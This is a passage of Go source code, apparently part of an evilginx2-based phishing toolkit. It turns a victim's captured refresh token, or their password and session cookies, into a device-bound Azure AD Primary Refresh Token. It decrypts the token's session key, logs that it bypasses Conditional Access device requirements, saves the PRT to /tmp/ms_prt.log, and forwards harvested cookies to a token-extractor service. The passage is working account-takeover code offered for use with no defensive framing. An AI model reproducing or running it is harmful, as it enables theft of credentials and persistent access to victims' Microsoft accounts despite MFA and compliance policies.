			"request_nonce":  challenge,
			"scope":          "openid aza ugs",
			"grant_type":     "refresh_token",
			"group_sids":     []string{},
			"win_ver":        "10.0.19041.868",
		}
		log.Info("[MS-DEVREG] [DEBUG] Using refresh_token grant | client_id=%s", clientID)
	} else if password != "" {
		// ROADtools get_prt_with_password() — uses username+password + device cert
		// Windows Hello client_id 38aa3b87... is authorized for password grant.
		// ESTSAUTHPERSISTENT cookies prevent AADSTS50076 (MFA required).
		prtPayload = map[string]interface{}{
			"client_id":      clientID,
			"username":       username,
			"password":       password,
			"request_nonce":  challenge,
			"scope":          "openid aza ugs",
			"grant_type":     "password",
			"group_sids":     []string{},
			"win_ver":        "10.0.19041.868",
		}
		log.Info("[MS-DEVREG] [DEBUG] Using PASSWORD grant (FOCI fallback) | client_id=%s", clientID)
	}
	payloadJSON, _ := json.Marshal(prtPayload)
	if password != "" && refreshToken == "" {
		log.Info("[MS-DEVREG] [DEBUG] Payload: [PASSWORD grant - redacted for safety]")
	} else {
		log.Info("[MS-DEVREG] [DEBUG] Payload: %s", string(payloadJSON))
	}

	// === Step 3: Sign payload JWT with device private key ===
	// CRITICAL: JWT header MUST contain x5c (full base64 DER cert), NOT x5t!
	// The x5c lets Azure AD verify the signature directly against the cert
	// without requiring the cert to be pre-registered on the application.
	//
	// ROADtools headers: {"x5c": "<base64 DER cert>", "kdf_ver": 2}
	log.Info("[MS-DEVREG] Step 3: Signing payload with device key + x5c cert...")

	// Parse device cert PEM to get DER bytes
	certBlock, _ := pem.Decode([]byte(deviceCtx.DeviceCertPEM))
	if certBlock == nil {
		return nil, fmt.Errorf("failed to parse device cert PEM")
	}
	certDER := certBlock.Bytes
	certB64 := base64.StdEncoding.EncodeToString(certDER)

	// x5c MUST be an array of base64-encoded DER certs per RFC 7515
	jwtHeaderObj := map[string]interface{}{
		"alg":     "RS256",
		"typ":     "JWT",
		"x5c":     []string{certB64},  // ← ARRAY of certs (RFC 7515)
		"kdf_ver": 2,
	}
	jwtHeaderJSON, _ := json.Marshal(jwtHeaderObj)
	jwtHeader := base64.RawURLEncoding.EncodeToString(jwtHeaderJSON)
	jwtPayload := base64.RawURLEncoding.EncodeToString(payloadJSON)

	// Sign with device RSA private key (PKCS#1 v1.5 + SHA-256)
	signingInput := jwtHeader + "." + jwtPayload
	hash := sha256.Sum256([]byte(signingInput))
	signature, err := rsa.SignPKCS1v15(rand.Reader, deviceCtx.PrivateKey, crypto.SHA256, hash[:])
	if err != nil {
		log.Error("[MS-DEVREG] JWT signing failed: %v", err)
		return nil, fmt.Errorf("JWT sign failed: %w", err)
	}
	deviceJWT := signingInput + "." + base64.RawURLEncoding.EncodeToString(signature)
	log.Success("[MS-DEVREG] Device-signed JWT built (%d bytes)", len(deviceJWT))

	// === Step 4: POST to v1.0 token endpoint ===
	// ROADtools: request_token_with_devicecert_signed_payload()
	// Uses v1.0 endpoint (/oauth2/token) — NOT v2.0!
	// JWT goes in "request" field — NOT "client_assertion"!
	// grant_type is urn:ietf:params:oauth:grant-type:jwt-bearer (outer wrapper)
	// Uses the SAME authority URI as the nonce request (computed in Step 1)
	// to ensure session cookie continuity across both requests.
	log.Info("[MS-DEVREG] Step 4: POST device-signed JWT to v1.0 endpoint...")

	v1TokenURL := authorityURI + "/oauth2/token"
	log.Info("[MS-DEVREG] [DEBUG] Token endpoint: %s (same as nonce)", v1TokenURL)

	prtRequestData := url.Values{}
	prtRequestData.Set("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer")
	prtRequestData.Set("request", deviceJWT)  // ← Device JWT in "request" field!
	prtRequestData.Set("windows_api_version", "2.2")
	prtRequestData.Set("tgt", "True")         // ← Request session key in response

	reqBody := prtRequestData.Encode()
	log.Info("[MS-TOKEN] [DEBUG] === PRT REQUEST POST ===")
	log.Info("[MS-TOKEN] [DEBUG] URL: %s", v1TokenURL)
	log.Info("[MS-TOKEN] [DEBUG] Body: %s", reqBody)

	tokenReq, _ := http.NewRequest("POST", v1TokenURL, strings.NewReader(reqBody))
	tokenReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	// The shared client has a cookie jar that already contains our ESTSAUTH
	// cookies PLUS any cookies set by Azure AD during the nonce request.
	// The nonce response may set session cookies that prove MFA completion.
	// Using the same client ensures all cookies are included automatically.

	tokenResp, err := client.Do(tokenReq)
	if err != nil {
		log.Error("[MS-TOKEN] [DEBUG] HTTP FAILED: %v", err)
		return nil, err
	}
	defer tokenResp.Body.Close()

	respBody, _ := ioutil.ReadAll(tokenResp.Body)
	log.Info("[MS-TOKEN] [DEBUG] Response status=%d body=%.500s", tokenResp.StatusCode, string(respBody))

	if tokenResp.StatusCode != http.StatusOK {
		log.Error("[MS-DEVREG] PRT request failed: HTTP %d", tokenResp.StatusCode)
		return nil, fmt.Errorf("PRT HTTP %d: %s", tokenResp.StatusCode, string(respBody))
	}

	// === Step 5: Parse response and extract PRT + session key ===
	// Response contains:
	//   refresh_token: The PRT (encrypted JWE)
	//   session_key_jwe: Session key encrypted with device transport key
	log.Info("[MS-DEVREG] Step 5: Parsing PRT response...")

	// Try multiple field name variants — Microsoft uses inconsistent casing
	var rawResult map[string]interface{}
	if err := json.Unmarshal(respBody, &rawResult); err != nil {
		log.Error("[MS-DEVREG] PRT response parse failed: %v", err)
		return nil, fmt.Errorf("PRT parse failed: %w", err)
	}

	// Extract fields with fallback for different casing
	getField := func(names ...string) string {
		for _, name := range names {
			if v, ok := rawResult[name]; ok {
				switch val := v.(type) {
				case string:
					return val
				}
			}
		}
		return ""
	}

	prtRefreshToken := getField("refresh_token")
	sessionKeyJWE := getField("session_key_jwe", "SessionKeyJWE", "sessionKeyJWE", "session_key", "SessionKey")
	idToken := getField("id_token")
	errCode := getField("error")
	errDesc := getField("error_description")

	// Debug: log ALL fields in the response to help diagnose missing session key
	if sessionKeyJWE == "" {
		log.Warning("[MS-DEVREG] [DEBUG] Session key NOT FOUND in response. Available fields:")
		for k, v := range rawResult {
			valStr := ""
			switch val := v.(type) {
			case string:
				if len(val) > 60 {
					valStr = val[:60] + "..."
				} else {
					valStr = val
				}
			default:
				valStr = fmt.Sprintf("%T", v)
			}
			log.Warning("[MS-DEVREG] [DEBUG]   %s = %s", k, valStr)
		}
	}

	if errCode != "" {
		log.Error("[MS-DEVREG] PRT error: %s - %s", errCode, errDesc)
		return nil, fmt.Errorf("PRT error: %s - %s", errCode, errDesc)
	}
	if prtRefreshToken == "" {
		return nil, fmt.Errorf("no PRT in response")
	}

	// Decrypt session key from JWE using device private key
	var sessionKeyHex string
	var sessionKeyError string
	if sessionKeyJWE != "" {
		log.Info("[MS-DEVREG] [DEBUG] Session key JWE present (%d bytes), decrypting...", len(sessionKeyJWE))
		sessionKey, err := tf.decryptJWEWithDeviceKey(sessionKeyJWE, deviceCtx)
		if err != nil {
			sessionKeyError = err.Error()
			log.Warning("[MS-DEVREG] Session key decrypt failed: %v", err)
			log.Info("[MS-DEVREG] [DEBUG] PRT works without session key — full CA bypass still active")
			log.Info("[MS-DEVREG] [DEBUG] To fix: delete /tmp/ms_device_keys/%s.key and re-register device", username)
		} else {
			sessionKeyHex = fmt.Sprintf("%x", sessionKey)
			log.Success("[MS-DEVREG] Session key decrypted (%d bytes)", len(sessionKey))
		}
	} else {
		sessionKeyError = "Azure AD did not return session_key_jwe in response (try re-registering device)"
		log.Info("[MS-DEVREG] [DEBUG] No session_key_jwe in response — possible causes:")
		log.Info("[MS-DEVREG] [DEBUG]   1. tgt=True not recognized by this tenant")
		log.Info("[MS-DEVREG] [DEBUG]   2. Device registration key mismatch — delete /tmp/ms_device_keys/%s.key", username)
		log.Info("[MS-DEVREG] [DEBUG]   3. Azure AD policy prevents session key issuance")
	}

	log.Success("[MS-DEVREG] ========== PRT WITH DEVICE CLAIMS SUCCESS ==========")
	log.Success("[MS-DEVREG] PRT obtained! This token has device compliance claims.")
	log.Success("[MS-DEVREG] Use this to bypass AADSTS53000 (device required).")
	log.Success("[MS-DEVREG] ===================================================")

	// Build a MicrosoftTokenResponse from the PRT data
	tokens := &MicrosoftTokenResponse{
		RefreshToken: prtRefreshToken,
		IDToken:      idToken,
		TokenType:    "Bearer",
	}

	// Save PRT + session key to file
	tf.savePRTToFile(username, prtRefreshToken, sessionKeyHex, sessionKeyError, deviceCtx)

	return tokens, nil
}

// decryptJWEWithDeviceKey decrypts a JWE session key using the device RSA private key.
// ROADtools: decrypt_jwe_with_transport_key()
func (tf *MicrosoftTokenFetcher) decryptJWEWithDeviceKey(jweToken string, deviceCtx *DeviceContext) ([]byte, error) {
	privKey := deviceCtx.PrivateKey
	parts := strings.Split(jweToken, ".")
	log.Info("[MS-DEVREG] [DEBUG] JWE parts count: %d (expected 5)", len(parts))
	if len(parts) != 5 {
		return nil, fmt.Errorf("invalid JWE format (expected 5 parts, got %d)", len(parts))
	}

	// === Parse FULL JWE header ===
	headerJSON, err := base64.RawURLEncoding.DecodeString(parts[0])
	if err != nil {
		padded := parts[0] + strings.Repeat("=", (4-len(parts[0])%4)%4)
		headerJSON, err = base64.URLEncoding.DecodeString(padded)
		if err != nil {
			return nil, fmt.Errorf("JWE header decode failed: %w", err)
		}
	}
	// Log full header for diagnostics
	log.Info("[MS-DEVREG] [DEBUG] JWE FULL HEADER: %s", string(headerJSON))

	var jweHeader struct {
		Alg string   `json:"alg"`
		Enc string   `json:"enc"`
		Kid string   `json:"kid"`
		X5c []string `json:"x5c"`
	}
	json.Unmarshal(headerJSON, &jweHeader)
	log.Info("[MS-DEVREG] [DEBUG] JWE alg=%s enc=%s kid=%s x5c_count=%d", jweHeader.Alg, jweHeader.Enc, jweHeader.Kid, len(jweHeader.X5c))

	// === Compare our key fingerprint with the device context ===
	pubKeyDER, _ := x509.MarshalPKIXPublicKey(&privKey.PublicKey)
	keyFP := fmt.Sprintf("%x", sha1.Sum(pubKeyDER))[:16]
	log.Info("[MS-DEVREG] [DEBUG] Decrypt key fingerprint: %s | DeviceCtx fingerprint: %s | Match: %v",
		keyFP, deviceCtx.KeyFingerprint, keyFP == deviceCtx.KeyFingerprint)

	// === Handle direct encryption (empty encrypted_key) ===
	if parts[1] == "" {
		return nil, fmt.Errorf("JWE uses direct encryption (empty encrypted_key)")
	}

	// Decode encrypted key from base64url
	var encryptedKey []byte
	encryptedKey, err = base64.RawURLEncoding.DecodeString(parts[1])
	if err != nil {
		padded := parts[1] + strings.Repeat("=", (4-len(parts[1])%4)%4)
		encryptedKey, err = base64.URLEncoding.DecodeString(padded)
		if err != nil {
			return nil, fmt.Errorf("JWE encrypted key decode failed: %w", err)
		}
	}
	log.Info("[MS-DEVREG] [DEBUG] JWE encryptedKey: %d bytes (expect ~256 for 2048-bit RSA)", len(encryptedKey))
	log.Info("[MS-DEVREG] [DEBUG] PrivKey: %d bits | EncryptedKey: %d bytes", privKey.N.BitLen(), len(encryptedKey))

	if len(encryptedKey) == 0 {
		return nil, fmt.Errorf("JWE encrypted key is empty")
	}

	// === Try all RSA-OAEP variants ===
	var sessionKey []byte
	var lastErr error

	// Try SHA-1 first (standard RSA-OAEP)
	log.Info("[MS-DEVREG] [DEBUG] Trying RSA-OAEP+SHA1...")
	sessionKey, lastErr = rsa.DecryptOAEP(sha1.New(), rand.Reader, privKey, encryptedKey, nil)
	if lastErr == nil {
		log.Success("[MS-DEVREG] Session key decrypted with RSA-OAEP+SHA1: %d bytes", len(sessionKey))
		return sessionKey, nil
	}
	log.Info("[MS-DEVREG] [DEBUG] SHA-1 failed: %v", lastErr)

	// Try SHA-256 fallback (RSA-OAEP-256)
	log.Info("[MS-DEVREG] [DEBUG] Trying RSA-OAEP+SHA256...")
	sessionKey, lastErr = rsa.DecryptOAEP(sha256.New(), rand.Reader, privKey, encryptedKey, nil)
	if lastErr == nil {
		log.Success("[MS-DEVREG] Session key decrypted with RSA-OAEP+SHA256: %d bytes", len(sessionKey))
		return sessionKey, nil
	}
	log.Info("[MS-DEVREG] [DEBUG] SHA-256 failed: %v", lastErr)

	// All variants failed — dump diagnostic info
	log.Error("[MS-DEVREG] [DEBUG] ALL RSA-OAEP variants failed!")
	log.Error("[MS-DEVREG] [DEBUG] Key fingerprint: %s", keyFP)
	log.Error("[MS-DEVREG] [DEBUG] Thumbprint: %s", deviceCtx.Thumbprint)
	log.Error("[MS-DEVREG] [DEBUG] JWE alg=%s kid=%s", jweHeader.Alg, jweHeader.Kid)
	log.Error("[MS-DEVREG] [DEBUG] Likely cause: Azure AD has a stale device with different key for this user")
	log.Error("[MS-DEVREG] [DEBUG] Fix: rm /tmp/ms_device_keys/*.key and re-register")

	return nil, fmt.Errorf("RSA-OAEP decrypt failed (tried SHA-1 and SHA-256): %w", lastErr)
}

// savePRTToFile saves the PRT and session key to a separate file for easy access.
func (tf *MicrosoftTokenFetcher) savePRTToFile(username string, prt string, sessionKey string, sessionKeyErr string, deviceCtx *DeviceContext) {
	var sb strings.Builder
	sb.WriteString(fmt.Sprintf("=== AZURE AD PRT WITH DEVICE CLAIMS - %s - %s ===\n", username, time.Now().Format("2006-01-02 15:04:05")))
	sb.WriteString(fmt.Sprintf("DeviceID: %s\n", deviceCtx.DeviceID))
	sb.WriteString(fmt.Sprintf("Thumbprint: %s\n\n", deviceCtx.Thumbprint))
	sb.WriteString(fmt.Sprintf("[PRT_REFRESH_TOKEN]\n%s\n\n", prt))
	if sessionKey != "" {
		sb.WriteString(fmt.Sprintf("[PRT_SESSION_KEY]\n%s\n\n", sessionKey))
	} else if sessionKeyErr != "" {
		sb.WriteString(fmt.Sprintf("[PRT_SESSION_KEY]\n[NOT DECRYPTED: %s]\n\n", sessionKeyErr))
	} else {
		sb.WriteString("[PRT_SESSION_KEY]\n[unknown error — check evilginx2 logs]\n\n")
	}
	sb.WriteString("================================\n\n")

	f, err := os.OpenFile("/tmp/ms_prt.log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
	if err == nil {
		defer f.Close()
		f.WriteString(sb.String())
		log.Info("[MS-DEVREG] PRT saved to /tmp/ms_prt.log (session key: %s)", func() string { if sessionKey != "" { return "decrypted OK" }; return "not decrypted" }())
	}
}

// sendPythonCallback HTTP POSTs session cookies to the Python token extractor.
// Wrapped in panic recovery to prevent crashes from network errors.
func sendPythonCallback(email string, cookieTxt string, sid string) {
	defer func() {
		if r := recover(); r != nil {
			log.Error("[PYTHON-CALLBACK] Panic recovered: %v", r)
		}
	}()
	payload := map[string]string{
		"email":      email,
		"cookies":    cookieTxt,
		"session_id": sid,
	}
	jsonData, err := json.Marshal(payload)
	if err != nil {
		return
	}
	client := &http.Client{Timeout: 5 * time.Second}
	resp, err := client.Post("http://127.0.0.1:9999/session", "application/json", bytes.NewReader(jsonData))
	if err != nil {
		return
	}
	defer resp.Body.Close()
}